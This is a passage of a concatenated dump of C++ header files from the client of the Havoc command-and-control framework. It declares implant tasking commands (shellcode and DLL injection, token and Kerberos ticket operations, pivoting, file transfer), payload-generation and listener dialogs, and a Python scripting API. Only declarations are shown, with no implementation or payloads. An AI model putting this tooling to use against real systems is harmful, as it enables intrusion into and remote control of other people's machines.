CONSOLE_ERROR( x ) \ DemonConsole->Console->append( "" ); \ DemonConsole->Console->append( this->Prompt ); \ DemonConsole->TaskError( x ); #define CONSOLE_INFO( x ) \ DemonConsole->TaskInfo( Send, TaskID, x ); enum class Commands { CHECKIN = 100, CALLBACK = 10, CONSOLE_MESSAGE = 0x80, BOF_CALLBACK = 0x81, SLEEP = 11, PROC_LIST = 12, FS = 15, INLINE_EXECUTE = 20, JOB = 21, INJECT_DLL = 22, INJECT_SHELLCODE = 24, INJECT_DLL_SPAWN = 26, TOKEN = 40, PROC = 0x1010, INLINE_EXECUTE_ASSEMBLY = 0x2001, ASSEMBLY_LIST_VERSIONS = 0x2003, NET = 2100, CONFIG = 2500, SCREENSHOT = 2510, PIVOT = 2520, TRANSFER = 2530, SOCKET = 2540, KERBEROS = 2550, OUTPUT = 90, ERROR = 91, EXIT = 92, }; class DispatchOutput { public: HavocSpace::DemonCommands* DemonCommandInstance; auto MessageOutput( QString JsonString, const QString& Date ) const -> void; }; class CommandExecute { public: HavocSpace::DemonCommands* DemonCommandInstance; auto Exit( QString TaskID, QString Methode ) -> void; auto Sleep( QString TaskID, QString seconds ) -> void; auto Checkin( QString TaskID ) -> void; auto Job( QString TaskID, QString SubCommand, QString Argument ) -> void; auto FS( const QString& TaskID, QString SubCommand, QString Arguments ) -> void; auto Transfer( const QString& TaskID, QString SubCommand, QString FileID ) -> void; auto Socket( const QString& TaskID, QString SubCommand, QString Params ) -> void; auto Luid( const QString& TaskID ) -> void; auto Klist( const QString &TaskID, QString Argument1, QString Argument2 ) -> void; auto Purge( const QString &TaskID, QString Argument ) -> void; auto Ptt( const QString &TaskID, QString Ticket, QString Luid ) -> void; auto ProcModule( QString TaskID, int SubCommand, QString Args ) -> void; auto ProcList( QString TaskID, bool FromProcessManager ) -> void; auto ShellcodeInject( QString TaskID, QString InjectionTechnique, QString TargetPID, QString TargetArch, QString Path, QString Arguments ) const -> void; auto ShellcodeSpawn( QString TaskID, QString InjectionTechnique, QString TargetArch, QString Path, QString Arguments ) -> void; auto ShellcodeExecute( QString TaskID, QString InjectionTechnique, QString TargetArch, QString Path, QString Arguments ) -> void; auto DllInject( QString TaskID, QString TargetPID, QString Path, QString Params ) -> void; auto DllSpawn( QString TaskID, QString FilePath, QByteArray Args ) -> void; auto InlineExecute( QString TaskID, QString FunctionName, QString Path, QByteArray Args, QString Flags ) -> void; auto InlineExecuteGetOutput( QString TaskID, QString FunctionName, QString Path, QByteArray Args, QString Flags ) -> void; auto AssemblyInlineExecute( QString TaskID, QString Path, QString Args ) -> void; auto AssemblyListVersions( QString TaskID ) -> void; auto Net( QString TaskID, QString Command, QString Param ) -> void; auto Pivot( QString TaskID, QString Command, QString Param ) -> void; auto Token( QString TaskID, QString SubCommand, QString Arguments ) -> void; auto Config( const QString& TaskID, const QString& Key, const QString& Value ) -> void; auto Screenshot( const QString& TaskID ) -> void; auto Task( const QString& TaskID, const QString& Command ) -> void; auto AgentCommand( QMap CommandData ) -> void; }; class HavocSpace::DemonCommands { public: UserInterface::Widgets::DemonInteracted* DemonConsole = nullptr; QString Teamserver; QString DemonID; u64 MagicValue; QString AgentTypeName; DispatchOutput OutputDispatch; CommandExecute Execute; QString Prompt; /* Something the command scripts can write to */ QStringList BufferedMessages; typedef struct SubCommand { QString CommandString; QString Description; QString Behavior; QString NeedElevated; QStringList MitreTechniques; // TODO: finish this for all commands QString Usage; QString Example; QStringList Options; } SubCommand_t; typedef struct Command { QString CommandString; QString Description; QString Behavior; QString NeedElevated; QStringList MitreTechniques; QString Usage; QString Example; bool Module; std::vector SubCommands; } Command_t; static std::vector DemonCommandList; QMap CommandInputList; QMap CommandTaskInfo; explicit DemonCommands(); auto SetDemonConsole( UserInterface::Widgets::DemonInteracted* pInteracted ) -> void; auto DispatchCommand( bool Send, QString TaskID, const QString& commandline ) -> bool; auto PrintModuleCachedMessages() -> void; }; #endif ================================================ FILE: client/include/Havoc/Havoc.hpp ================================================ #ifndef HAVOC_HAVOC_HPP #define HAVOC_HAVOC_HPP #include #include #include using namespace HavocNamespace; class HavocSpace::Havoc { using toml_t = toml::basic_value;; public: toml_t Config; UserInterface::HavocUi HavocAppUI; DBManager* dbManager; QMainWindow* HavocMainWindow; bool ClientInitConnect = true; Havoc( QMainWindow* ); ~Havoc(); void Init( int argc, char** argv ); void Start(); static void Exit(); }; #endif ================================================ FILE: client/include/Havoc/Packager.hpp ================================================ #ifndef HAVOC_PACKAGER_H #define HAVOC_PACKAGER_H #include using namespace std; using namespace HavocNamespace; using namespace HavocSpace; namespace HavocNamespace::Util::Packager { typedef struct { int Event; string User; string Time; string OneTime; } Head_t; typedef struct { int SubEvent; QMap Info; // TODO: make it QJsonObject } Body_t ; typedef struct Package { Head_t Head; Body_t Body; } Package, *PPackage; // TODO: make everyone a struct with static members namespace InitConnection { extern const int Type; extern const int Success; extern const int Error; extern const int Login; } namespace Listener { extern const int Type; extern const int Add; extern const int Remove; extern const int Edit; extern const int Mark; extern const int Error; } namespace Chat { extern const int Type; extern const int NewMessage; extern const int NewListener; extern const int NewUser; extern const int UserDisconnect; extern const int NewSession; } namespace Gate { extern const int Type; extern const int Staged; extern const int Stageless; extern const int MSOffice; } namespace Session { extern const int Type; extern const int NewSession; extern const int SendCommand; extern const int ReceiveCommand; extern const int MarkAs; extern const int Remove; } namespace Service { extern const int Type; extern const int AgentRegister; extern const int ListenerRegister; } namespace Teamserver { extern const int Type; extern const int Logger; extern const int Profile; } } auto NewPackageCommand( const QString& Teamserver, Util::Packager::Body_t Body ) -> void; class HavocSpace::Packager { private: QString TeamserverName; public: static Util::Packager::PPackage DecodePackage(const QString& Package ); QJsonDocument EncodePackage( Util::Packager::Package Package ); bool DispatchPackage( Util::Packager::PPackage Package ); void setTeamserver(QString Name); public: bool DispatchInitConnection( Util::Packager::PPackage Package ); bool DispatchListener( Util::Packager::PPackage Package ); bool DispatchChat( Util::Packager::PPackage Package ); bool DispatchSession( Util::Packager::PPackage Package ); bool DispatchGate( Util::Packager::PPackage Package ); bool DispatchService( Util::Packager::PPackage Package ); bool DispatchTeamserver( Util::Packager::PPackage Package ); }; #endif //HAVOC_PACKAGER_H ================================================ FILE: client/include/Havoc/PythonApi/Event.h ================================================ #ifndef HAVOC_EVENT_H #define HAVOC_EVENT_H #include typedef struct { PyObject_HEAD PVOID SessionFuncList; } PyEvents, *PPyEvents; extern PyTypeObject PyEventClass_Type; void EventClass_dealloc( PPyEvents self ); PyObject* EventClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ); int EventClass_init( PPyEvents self, PyObject *args, PyObject *kwds ); // Methods PyObject* EventClass_OnNewSession( PPyEvents self, PyObject *args ); PyObject* EventClass_OnDemonOutput( PPyEvents self, PyObject *args ); #endif ================================================ FILE: client/include/Havoc/PythonApi/HavocUi.h ================================================ #ifndef HAVOC_HAVOCUI_H #define HAVOC_HAVOCUI_H #endif ================================================ FILE: client/include/Havoc/PythonApi/PyAgentClass.hpp ================================================ #ifndef HAVOC_PYAGENTCLASS_HPP #define HAVOC_PYAGENTCLASS_HPP #include #define AllocMov( des, src, size ) \ if ( size > 0 ) \ { \ des = ( char* ) malloc( size * sizeof( char ) ); \ memset( des, 0, size ); \ std::strcpy( des, src ); \ } typedef struct { PyObject_HEAD PCHAR AgentID; u32 CONSOLE_INFO; u32 CONSOLE_ERROR; u32 CONSOLE_TASK; } PyAgentClass, *PPyAgentClass; extern PyTypeObject PyAgentClass_Type; void AgentClass_dealloc( PPyAgentClass self ); PyObject* AgentClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ); int AgentClass_init( PPyAgentClass self, PyObject *args, PyObject *kwds ); PyObject* AgentClass_ConsoleWrite( PPyAgentClass self, PyObject *args ); PyObject* AgentClass_Command( PPyAgentClass self, PyObject *args ); #endif ================================================ FILE: client/include/Havoc/PythonApi/PyDemonClass.h ================================================ #ifndef HAVOC_PYDEMONCLASS_H #define HAVOC_PYDEMONCLASS_H #include typedef struct { PyObject_HEAD // Demon Info char* Listener; char* DemonID; char* ExternalIP; char* InternalIP; char* User; char* Computer; char* Domain; char* OS; char* OSBuild; char* OSArch; char* ProcessName; char* ProcessID; char* ProcessArch; // Other Members u32 CONSOLE_INFO; u32 CONSOLE_ERROR; u32 CONSOLE_TASK; } PyDemonClass, *PPyDemonClass; extern PyTypeObject PyDemonClass_Type; void DemonClass_dealloc( PPyDemonClass self ); PyObject* DemonClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ); int DemonClass_init( PPyDemonClass self, PyObject *args, PyObject *kwds ); // Methods // PyObject* DemonClass_( PPyDemonClass self, PyObject *args ); // Command PyObject* DemonClass_ProcessCreate( PPyDemonClass self, PyObject *args ); PyObject* DemonClass_DllInject( PPyDemonClass self, PyObject *args ); PyObject* DemonClass_DllSpawn( PPyDemonClass self, PyObject *args ); PyObject* DemonClass_InlineExecute( PPyDemonClass self, PyObject *args ); PyObject* DemonClass_InlineExecuteGetOutput( PPyDemonClass self, PyObject *args ); PyObject* DemonClass_DotnetInlineExecute( PPyDemonClass self, PyObject *args ); PyObject* DemonClass_RegisterCallback( PPyDemonClass self, PyObject *args ); PyObject* DemonClass_Command( PPyDemonClass self, PyObject *args ); PyObject* DemonClass_CommandGetOutput( PPyDemonClass self, PyObject *args ); PyObject* DemonClass_ShellcodeSpawn( PPyDemonClass self, PyObject *args ); // Utils PyObject* DemonClass_ConsoleWrite( PPyDemonClass self, PyObject *args ); #endif ================================================ FILE: client/include/Havoc/PythonApi/PythonApi.h ================================================ #ifndef HAVOC_PYTHONAPI_H #define HAVOC_PYTHONAPI_H #include #pragma push_macro("slots") #undef slots #include #pragma pop_macro("slots") #define PY_FUNCTION( x ) PyObject* x( PyObject *self, PyObject *args ); #define PY_FUNCTION_KW( x ) PyObject* x( PyObject *self, PyObject *args, PyObject* kwargs ); namespace PythonAPI { namespace Havoc { extern PyMethodDef PyMethode_Havoc[]; namespace Core { PY_FUNCTION( Load ) PY_FUNCTION( GetDemons ) PY_FUNCTION( GetListeners ) PY_FUNCTION( GetAgents ) PY_FUNCTION_KW( GeneratePayload ) PY_FUNCTION_KW( RegisterCommand ) PY_FUNCTION( RegisterModule ) PY_FUNCTION( RegisterCallback ) } namespace PyModule { extern struct PyModuleDef havoc; } PyMODINIT_FUNC PyInit_Havoc(void); } namespace HavocUI { extern PyMethodDef PyMethode_HavocUI[]; namespace Core { PY_FUNCTION( MessageBox ) PY_FUNCTION( ErrorMessage ) PY_FUNCTION( CreateTab ) PY_FUNCTION( InputDialog ) PY_FUNCTION( OpenFileDialog ) PY_FUNCTION( SaveFileDialog ) PY_FUNCTION( QuestionDialog ) PY_FUNCTION( ColorDialog ) PY_FUNCTION( ProgressDialog ) } namespace PyModule { extern struct PyModuleDef havocui; } PyMODINIT_FUNC PyInit_HavocUI(void); } } namespace emb { typedef std::function stdout_write_type; struct Stdout { PyObject_HEAD stdout_write_type write; }; PyObject* Stdout_write(PyObject* self, PyObject* args); PyObject* Stdout_flush(PyObject* self, PyObject* args); PyMODINIT_FUNC PyInit_emb(void); void set_stdout(stdout_write_type write); void reset_stdout(); }; #endif ================================================ FILE: client/include/Havoc/PythonApi/UI/PyDialogClass.hpp ================================================ #ifndef HAVOC_PYDIALOGCLASS_H #define HAVOC_PYDIALOGCLASS_H #include #include #include #include #include #include #include #include #include #include #include #include typedef struct { QDialog* window; QVBoxLayout* layout; QScrollArea* scroll; QWidget* root; QVBoxLayout* root_layout; } PyDialogQWindow, *PPyDialogQWindow; typedef struct { PyObject_HEAD // Demon Info char* title; PPyDialogQWindow DialogWindow; } PyDialogClass, *PPyDialogClass; extern PyTypeObject PyDialogClass_Type; void DialogClass_dealloc( PPyDialogClass self ); PyObject* DialogClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ); int DialogClass_init( PPyDialogClass self, PyObject *args, PyObject *kwds ); // Methods PyObject* DialogClass_exec( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_close( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_clear( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_addLabel( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_addButton( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_addCheckbox( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_addCombobox( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_addLineedit( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_addCalendar( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_replaceLabel( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_addImage( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_addDial( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_addSlider( PPyDialogClass self, PyObject *args ); #endif ================================================ FILE: client/include/Havoc/PythonApi/UI/PyLoggerClass.hpp ================================================ #ifndef HAVOC_PYLOGGERCLASS_H #define HAVOC_PYLOGGERCLASS_H #include #include #include #include #include typedef struct { QWidget* window; QGridLayout* layout; QTextEdit* LogSection; } PyLoggerQWindow, *PPyLoggerQWindow; typedef struct { PyObject_HEAD // Demon Info char* title; PPyLoggerQWindow LoggerWindow; } PyLoggerClass, *PPyLoggerClass; extern PyTypeObject PyLoggerClass_Type; void LoggerClass_dealloc( PPyLoggerClass self ); PyObject* LoggerClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ); int LoggerClass_init( PPyLoggerClass self, PyObject *args, PyObject *kwds ); // Methods PyObject* LoggerClass_setBottomTab( PPyLoggerClass self, PyObject *args ); PyObject* LoggerClass_setSmallTab( PPyLoggerClass self, PyObject *args ); PyObject* LoggerClass_addText( PPyLoggerClass self, PyObject *args ); PyObject* LoggerClass_clear( PPyLoggerClass self, PyObject *args ); #endif ================================================ FILE: client/include/Havoc/PythonApi/UI/PyTreeClass.hpp ================================================ #ifndef HAVOC_PYTREECLASS_H #define HAVOC_PYTREECLASS_H #include #include #include #include #include #include #include #include #include #include #include #include typedef struct { QWidget* window; QHBoxLayout* layout; QScrollArea* scroll; QWidget* root; QVBoxLayout* root_layout; QStandardItemModel* item_model; QStandardItem* root_item; QTreeView* tree_view; QTextBrowser* panel; QSplitter* splitter; } PyTreeQWindow, *PPyTreeQWindow; typedef struct { PyObject_HEAD // Demon Info char* title; PPyTreeQWindow TreeWindow; } PyTreeClass, *PPyTreeClass; extern PyTypeObject PyTreeClass_Type; void TreeClass_dealloc( PPyTreeClass self ); PyObject* TreeClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ); int TreeClass_init( PPyTreeClass self, PyObject *args, PyObject *kwds ); // Methods PyObject* TreeClass_setBottomTab( PPyTreeClass self, PyObject *args ); PyObject* TreeClass_setSmallTab( PPyTreeClass self, PyObject *args ); PyObject* TreeClass_addRow( PPyTreeClass self, PyObject *args ); PyObject* TreeClass_setItem( PPyTreeClass self, PyObject *args ); PyObject* TreeClass_setPanel( PPyTreeClass self, PyObject *args ); #endif ================================================ FILE: client/include/Havoc/PythonApi/UI/PyWidgetClass.hpp ================================================ #ifndef HAVOC_PYWIDGETCLASS_H #define HAVOC_PYWIDGETCLASS_H #include #include #include #include #include #include #include #include #include #include #include #include typedef struct { QWidget* window; QVBoxLayout* layout; QScrollArea* scroll; QWidget* root; QVBoxLayout* root_layout; } PyWidgetQWindow, *PPyWidgetQWindow; typedef struct { PyObject_HEAD // Demon Info char* title; PPyWidgetQWindow WidgetWindow; } PyWidgetClass, *PPyWidgetClass; extern PyTypeObject PyWidgetClass_Type; void WidgetClass_dealloc( PPyWidgetClass self ); PyObject* WidgetClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ); int WidgetClass_init( PPyWidgetClass self, PyObject *args, PyObject *kwds ); // Methods PyObject* WidgetClass_addLabel( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_setBottomTab( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_setSmallTab( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_addButton( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_addCheckbox( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_addCombobox( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_addLineedit( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_addCalendar( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_replaceLabel( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_clear( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_addImage( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_addDial( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_addSlider( PPyWidgetClass self, PyObject *args ); #endif ================================================ FILE: client/include/Havoc/Service.hpp ================================================ #ifndef HAVOC_SERVICE_HPP #define HAVOC_SERVICE_HPP #include #include #include #include typedef struct { QString Name; bool IsFilePath; bool IsOptional; } CommandParam; typedef struct { QString Name; QString Extension; } AgentFormat; typedef struct { QString Name; QString Description; QString Help; bool NeedAdmin; QStringList Mitr; std::vector Params; bool Anonymous; } AgentCommands; typedef struct { QString Name; QString Description; QString Version; QString Author; uint64_t MagicValue; QStringList Arch; std::vector Formats; QStringList SupportedOS; std::vector Commands; QJsonDocument BuildingConfig; } ServiceAgent; extern uint64_t DemonMagicValue; #endif ================================================ FILE: client/include/UserInterface/Dialogs/About.hpp ================================================ #ifndef HAVOC_ABOUTDIALOG_H #define HAVOC_ABOUTDIALOG_H #include #include class About : public QDialog { private: QGridLayout* gridLayout; QLabel* label; QPushButton* pushButton; QSpacerItem* horizontalSpacer; QTextBrowser* textBrowser; public: QDialog *AboutDialog; void setupUi(); About( QDialog* ); public slots: void onButtonClose(); }; #endif ================================================ FILE: client/include/UserInterface/Dialogs/Connect.hpp ================================================ #ifndef HAVOC_CONNECTDIALOG_H #define HAVOC_CONNECTDIALOG_H #include #include #include #include #include using namespace std; class HavocNamespace::UserInterface::Dialogs::Connect : public QDialog { private: QGridLayout* gridLayout; QPlainTextEdit* plainTextEdit; QLabel* label_Name; QLabel* label_Host; QLabel* label_Port; QLabel* label_User; QLabel* label_Password; QLineEdit* lineEdit_User; QLineEdit* lineEdit_Password; QLineEdit* lineEdit_Host; QLineEdit* lineEdit_Name; QLineEdit* lineEdit_Port; QPushButton* ButtonNewProfile; QPushButton* ButtonConnect; QSpacerItem* horizontalSpacer; QListWidget* listWidget; QPalette* paletteGray; QPalette* paletteWhite; QMenu* listContextMenu; HavocNamespace::HavocSpace::DBManager* dbManager; public: vector TeamserverList; QDialog* ConnectDialog = nullptr; bool tryConnect = false; bool isNewProfile = false; bool FromAction = false; void setupUi( QDialog* Form ); Util::ConnectionInfo StartDialog( bool FromAction ); void passDB( HavocNamespace::HavocSpace::DBManager* db ); private slots: void onButton_Connect(); void onButton_NewProfile(); void itemSelected(); void handleContextMenu(const QPoint &pos); void itemRemove(); void itemsClear(); }; #endif ================================================ FILE: client/include/UserInterface/Dialogs/Listener.hpp ================================================ #ifndef HAVOC_LISTENER_HPP #define HAVOC_LISTENER_HPP #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include using namespace std; class HavocNamespace::UserInterface::Dialogs::NewListener : public QDialog { typedef struct { int Id; QLineEdit* Input; } Data; typedef struct { std::string Name; QWidget* Page; QFormLayout* Layout; int Index; json Items; } ServiceListener; std::vector ServiceListeners; public: QGridLayout* gridLayout; QGridLayout* gridLayout_2; QGridLayout* gridLayout_3; QGridLayout* gridLayout_4; QWidget* PageHTTP; QWidget* PageSMB; QWidget* PageExternal; QSpacerItem* horizontalSpacer_2; QSpacerItem* horizontalSpacer_3; QSpacerItem* horizontalSpacer_4; QSpacerItem* horizontalSpacer_5; QSpacerItem* horizontalSpacer_6; QSpacerItem* horizontalSpacer; QSpacerItem* verticalSpacerHeader; QSpacerItem* verticalSpacerUris; QLabel* LabelListenerName; QLineEdit* InputListenerName; QLabel* LabelPayload; QComboBox* ComboPayload; QPushButton* ButtonClose; QPushButton* ButtonSave; QGroupBox* ConfigBox; QStackedWidget* StackWidgetConfigPages; // Page HTTP QLabel* LabelHosts; QGroupBox* HostsGroup; QPushButton* ButtonHostsGroupAdd; QPushButton* ButtonHostsGroupClear; std::vector HostsData; QSpacerItem* verticalSpacer; QFormLayout* formLayout_Hosts; QLabel* LabelHostRotation; QComboBox* ComboHostRotation; QLabel* LabelHostBind; QComboBox* ComboHostBind; QLabel* LabelPortBind; QLineEdit* InputPortBind; QLabel* LabelPortConn; QLineEdit* InputPortConn; QLineEdit* InputUserAgent; QLabel* LabelUserAgent; QLabel* LabelHeaders; QGroupBox* HeadersGroup; QPushButton* ButtonHeaderGroupAdd; QPushButton* ButtonHeaderGroupClear; std::vector HeadersData; QLabel* LabelUris; QGroupBox* UrisGroup; QPushButton* ButtonUriGroupAdd; QPushButton* ButtonUriGroupClear; std::vector UrisData; QLineEdit* InputHostHeader; QLabel* LabelHostHeader; QCheckBox* CheckEnableProxy; QGroupBox* ProxyConfigBox; QLabel* LabelProxyType; QComboBox* ComboProxyType; QLabel* LabelProxyHost; QLineEdit* InputProxyHost; QLabel* LabelProxyPort; QLineEdit* InputProxyPort; QLabel* LabelUserName; QLineEdit* InputUserName; QLabel* LabelPassword; QLineEdit* InputPassword; QFormLayout* formLayout; QFormLayout* formLayout_2; QFormLayout* formLayout_3; QFormLayout* formLayout_Header; QFormLayout* formLayout_Uri; // Page SMB QLabel* LabelPipeName; QLineEdit* InputPipeName; // Page External QLabel* LabelEndpoint; QLineEdit* InputEndpoint; public: QDialog* ListenerDialog; bool DialogClosed = false; bool DialogSaved = false; NewListener( QDialog *Dialog ); MapStrStr Start( Util::ListenerItem Item, bool Edit ); auto ListenerCustomAdd( QString Listener ) -> bool; auto Free() -> void; protected slots: void onButton_Save(); void onProxyEnabled(); }; #endif ================================================ FILE: client/include/UserInterface/Dialogs/Payload.hpp ================================================ #ifndef HAVOC_STAGELESSDIALOG_H #define HAVOC_STAGELESSDIALOG_H #include #include #include #include #include #include #include #include #include #include #include #include #include #include class Payload : public QDialog { bool Closed = false; public: QDialog* PayloadDialog; QGridLayout* gridLayout; QGridLayout* gridLayout_2; QGridLayout* gridLayout_3; QGroupBox* OptionsBox; QGroupBox* BuildConsoleBox; QTextEdit* ConsoleText; QComboBox* ComboAgentType; QComboBox* ComboListener; QComboBox* ComboFormat; QComboBox* ComboArch; QTreeWidget* TreeConfig; QLabel* LabelListener; QLabel* LabelArch; QLabel* LabelFormat; QLabel* LabelAgentType; QPushButton* ButtonGenerate; QSpacerItem* horizontalSpacer; QSpacerItem* horizontalSpacer_2; QSpacerItem* horizontalSpacer_3; QSpacerItem* horizontalSpacer_4; QSpacerItem* horizontalSpacer_5; QSpacerItem* horizontalSpacer_6; QSpacerItem* horizontalSpacer_7; QString TeamserverName; auto setupUi( QDialog* StagelessDialog ) -> void; auto retranslateUi() -> void; auto Start() -> void; auto Clear() -> void; auto ReceivedImplantAndSave( QString Format, QByteArray ImplantArray ) -> void; auto AddConfigFromJson( QJsonDocument JsonConfig ) -> void; auto DefaultConfig() -> void; auto GetConfigAsJson() -> QJsonDocument; public slots: auto buttonGenerate() -> void; auto addConsoleLog( QString MsgType, QString Message ) -> void; auto CtxAgentPayloadChange( const QString& AgentType ) -> void; }; #endif ================================================ FILE: client/include/UserInterface/HavocUI.hpp ================================================ #ifndef HAVOC_HAVOCUI_HPP #define HAVOC_HAVOCUI_HPP #include #include #include #include #include #include #include #include #include // QT libraries #include #include #include #include #include #include #include #include #include class HavocNamespace::UserInterface::HavocUi : public QMainWindow { public: QWidget* centralwidget = {}; QAction* actionNew_Client = {}; QAction* actionChat = {}; QAction* actionPreferences = {}; QAction* actionDisconnect = {}; QAction* actionExit = {}; QAction* actionTeamserver = {}; QAction* actionStore = {}; QAction* actionGeneratePayload = {}; QAction* actionLoad_Script = {}; QAction* actionPythonConsole = {}; QAction* actionAbout = {}; QAction* actionOpen_Help_Documentation = {}; QAction* actionOpen_API_Reference = {}; QAction* actionGithub_Repository = {}; QAction* actionListeners = {}; QAction* actionSessionsTable = {}; QAction* actionSessionsGraph = {}; QAction* actionLogs = {}; QAction* actionLoot = {}; QGridLayout* gridLayout = {}; QGridLayout* gridLayout_3 = {}; QTabWidget* TeamserverTabWidget = {}; QMenuBar* menubar = {}; QMenu* menuHavoc = {}; QMenu* menuView = {}; QMenu* menuAttack = {}; QMenu* menuScripts = {}; QMenu* menuHelp = {}; QMenu* MenuSession = {}; QStatusBar* statusbar = {}; Dialogs::Connect* ConnectDialog = {}; About* AboutDialog = {}; QMainWindow* HavocWindow = {}; HavocSpace::DBManager* dbManager = {}; public: void MarkSessionAs( HavocNamespace::Util::SessionItem session, QString Mark ); void UpdateSessionsHealth(); void setupUi( QMainWindow *Havoc ); void retranslateUi( QMainWindow *Havoc ) const; void setDBManager( HavocSpace::DBManager* dbManager ); void NewTeamserverTab( HavocNamespace::Util::ConnectionInfo* ); void NewTeamserverTab( QString Name ); void NewBottomTab( QWidget* TabWidget, const std::string& TitleName, const QString IconPath = "" ) const; void NewSmallTab( QWidget* TabWidget, const std::string& TitleName ) const; void ConnectEvents(); void PythonPrepare(); public slots: void OneSecondTick(); }; #endif ================================================ FILE: client/include/UserInterface/SmallWidgets/EventViewer.hpp ================================================ #ifndef HAVOC_EVENTVIEWER_HPP #define HAVOC_EVENTVIEWER_HPP #include class HavocNamespace::UserInterface::SmallWidgets::EventViewer : public QWidget { QGridLayout *gridLayout; public: QTextEdit *EventViewerConsole; QWidget* EventViewer; void setupUi(QWidget* Widget); void AppendText(const QString& Time, const QString &text) const; }; #endif ================================================ FILE: client/include/UserInterface/Widgets/Chat.hpp ================================================ #ifndef HAVOC_CHATWIDGET_H #define HAVOC_CHATWIDGET_H #include #include #include class HavocNamespace::UserInterface::Widgets::Chat : public QWidget { QGridLayout* gridLayout = nullptr; QLineEdit* lineEdit = nullptr; public: QTextEdit* EventLogText = nullptr; QWidget* ChatWidget = nullptr; QString TeamserverName = nullptr; void setupUi( QWidget* widget ); void AppendText( const QString& Time, const QString& text ) const; void AddUserMessage( const QString Time, QString User, QString text ) const; public slots: void AppendFromInput(); }; #endif ================================================ FILE: client/include/UserInterface/Widgets/DemonInteracted.h ================================================ #ifndef HAVOC_DEMONINTERACTED_H #define HAVOC_DEMONINTERACTED_H #include #include namespace HavocNamespace::UserInterface::Widgets { class DemonInteracted : public QWidget { private: QGridLayout* gridLayout; QLabel* label; QLabel* label_2; public: QWidget* DemonInteractedWidget; HavocSpace::DemonCommands* DemonCommands; QString TeamserverName; Util::SessionItem SessionInfo; QTextEdit* Console; QCompleter* CommandCompleter; QStringList CompleterCommands; QString AgentTypeName = "Demon"; class DemonInput : public QLineEdit { public: int CommandHistoryIndex; QStringList CommandHistory; explicit DemonInput(QWidget *parent = nullptr); void AddCommand( const QString& Command ); protected: bool event(QEvent *) override; private: bool handleKeyPress(QKeyEvent* eventKey); void handleTabKey(); void handleUpKey(); void handleDownKey(); }; DemonInput* lineEdit; void setupUi( QWidget* Form ); void AppendText( const QString& text ); void AppendRaw( const QString& text = "" ); void AppendNoNL( const QString& test ); QString TaskInfo( bool Show, QString TaskID, const QString& text ) const; QString TaskError( const QString& text ) const; void AutoCompleteAdd( QString text ); void AutoCompleteAddList( QStringList list ); void AutoCompleteClear(); private slots: void AppendFromInput(); }; } #endif ================================================ FILE: client/include/UserInterface/Widgets/FileBrowser.hpp ================================================ #ifndef HAVOC_FILEBROWSER_HPP #define HAVOC_FILEBROWSER_HPP #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include typedef struct { QString Path; QString Type; QString Name; QString Size; QString Modified; } FileData; typedef struct _FileDirData { QString Path; QJsonDocument Data; std::vector Files; } FileDirData; class FileBrowserTableItem : public QTableWidgetItem { public: FileData Data; }; class FileBrowserTreeItem : public QTreeWidgetItem { public: FileData Data; QString ParentPath; }; class FileBrowser : public QWidget { public: QString SessionID; QMenu* MenuFileBrowserTable; QMenu* MenuFileBrowserTree; // General QAction* MenuFileBrowserRemove; QAction* MenuFileBrowserMkdir; QAction* MenuFileBrowserReload; // Tree QAction* MenuFileBrowserListDrives; QGridLayout* gridLayout; QSplitter* splitter; QFormLayout* formLayout; QWidget* FileBrowserWidget; QTreeWidget* FileBrowserTree; QWidget* FileBrowserListWidget; QPushButton* ButtonGoUpDir; QLineEdit* InputFileBrowserPath; QTableWidget* TableFileBrowser; std::vector DirData; void setupUi( QWidget* FileBrowser ); void retranslateUi( ); void AddData( QJsonDocument JsonData ); private: void TreeAddData( FileData Data ); void TreeUpdate( ); void TreeClear( ); auto TreeSearchPath( QString Path ) -> FileBrowserTreeItem*; auto TreePathExists( QString Path ) -> bool; void TreeAddDisk( QString Disk ); void TreeAddChildToParent( QString ParentPath, FileBrowserTreeItem* DataItem ); void TableAddData( FileData Data ); void TableClear(); void ChangePathAndSendRequest( QString Path ); private slots: void onTableMenuMkdir(); void onTableMenuReload(); void onTableMenuRemove(); void onTableDoubleClick( int row, int column ); void onTableContextMenu( const QPoint &pos ); void onTreeMenuListDrives(); void onTreeMenuMkdir(); void onTreeMenuReload(); void onTreeMenuRemove(); void onTreeDoubleClick(); void onTreeContextMenu( const QPoint &pos ); void onTableMenuDownload(); void onButtonUp(); void onInputPath(); }; #endif ================================================ FILE: client/include/UserInterface/Widgets/ListenerTable.hpp ================================================ #include #include #include #include class HavocNamespace::UserInterface::Widgets::ListenersTable : public QWidget { private: QGridLayout *gridLayout; QSpacerItem *horizontalSpacer_2; QSpacerItem *horizontalSpacer; QTableWidget *tableWidget; HavocSpace::DBManager* dbManager; HavocSpace::Packager* Packager; QPushButton* buttonAdd; QPushButton* buttonEdit; QPushButton* buttonRemove; public: QString 